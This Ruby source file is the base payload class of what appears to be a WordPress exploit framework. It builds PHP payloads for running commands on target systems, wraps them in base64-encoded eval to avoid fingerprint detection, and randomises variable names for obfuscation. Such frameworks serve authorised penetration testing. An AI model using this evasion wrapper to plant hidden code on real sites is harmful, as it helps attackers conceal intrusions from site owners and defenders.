lib/wpxf/core/payload.rb
# frozen_string_literal: true
require 'base64'
module Wpxf
# The base class for all payloads.
class Payload
include Wpxf::Options
def initialize
super
register_options([
BooleanOption.new(
name: 'encode_payload',
desc: 'Encode the payload to avoid fingerprint detection',
required: true,
default: true
)
])
self.queued_commands = []
end
# @return an encoded version of the payload.
def encoded
compiled = _raw_payload_with_random_var_names
if normalized_option_value('encode_payload')
"<?php eval(base64_decode('#{Base64.strict_encode64(compiled)}')); ?>"
else
"<?php #{compiled} ?>"
end
end
# Helper method to escape single quotes in a string.
# @param val [String] the string with quotes to escape.
# @return [String] the string with quotes escaped.
def escape_single_quotes(val)
val.gsub(/'/) { "\\'" }
end
# Generate a random variable name.
# @return [String] a random name beetween 5 and 20 alpha characters.
def random_var_name
Utility::Text.rand_alpha(rand(5..20))
end
# Generate a hash of variable names.
# @param keys [Array] an array of keys.
# @return [Hash] a hash containing a unique name for each key.
def generate_vars(keys)
vars = {}
keys.each do |key|
loop do
var_name = random_var_name
unless vars.value?(var_name)
vars[key] = random_var_name
break
end
end
end
vars
end
# Do any pre-exploit setup required by the payload.
# @param mod [Module] the module using the payload.
# @return [Boolean] true if successful.
def prepare(mod)
true if mod
end
# Run payload specific post-exploit procedures.
# @param mod [Module] the module using the payload.
# @return [Boolean] true if successful.
def post_exploit(mod)
true if mod
end
# Cleanup any allocated resource to the payload.
def cleanup
nil
end
# Run checks to raise warnings to the user of any issues or noteworthy
# points in regards to the payload being used with the current module.
# @param mod [Module] the module using the payload.
def check(mod)
nil
end
# @return [Hash] a hash of constants that should be injected at the
# beginning of the payload.
def constants
{}
end
# @return [Array] an array of variable names that should be obfuscated in
# the payload that is generated.
def obfuscated_variables
['wpxf_disabled', 'wpxf_output', 'wpxf_exec', 'wpxf_cmd', 'wpxf_handle', 'wpxf_pipes', 'wpxf_fp']
end
# @return [String] the PHP preamble that should be included at the
# start of all payloads.
def php_preamble
preamble = DataFile.new('php', 'preamble.php').php_content
constants.each do |k, v|
preamble += " $#{k} = " + (v.is_a?(String) ? "'#{escape_single_quotes(v)}'" : v.to_s) + ";\n"
end
preamble
end
# Enqueue a command to be executed on the target system, if the
# payload supports queued commands.
# @param cmd [String] the command to execute when the payload is executed.
def enqueue_command(cmd)
queued_commands.push(cmd)
end
# @return the payload in its raw format.
attr_accessor :raw
# @return [Array] the commands queued to be executed on the target.
attr_accessor :queued_commands
private
def _raw_payload_with_random_var_names
payload = +"#{php_preamble} #{raw}"
vars = generate_vars(obfuscated_variables)
obfuscated_variables.each { |v| payload.gsub!("$#{v}", "$#{vars[v]}") }
payload
end
end
end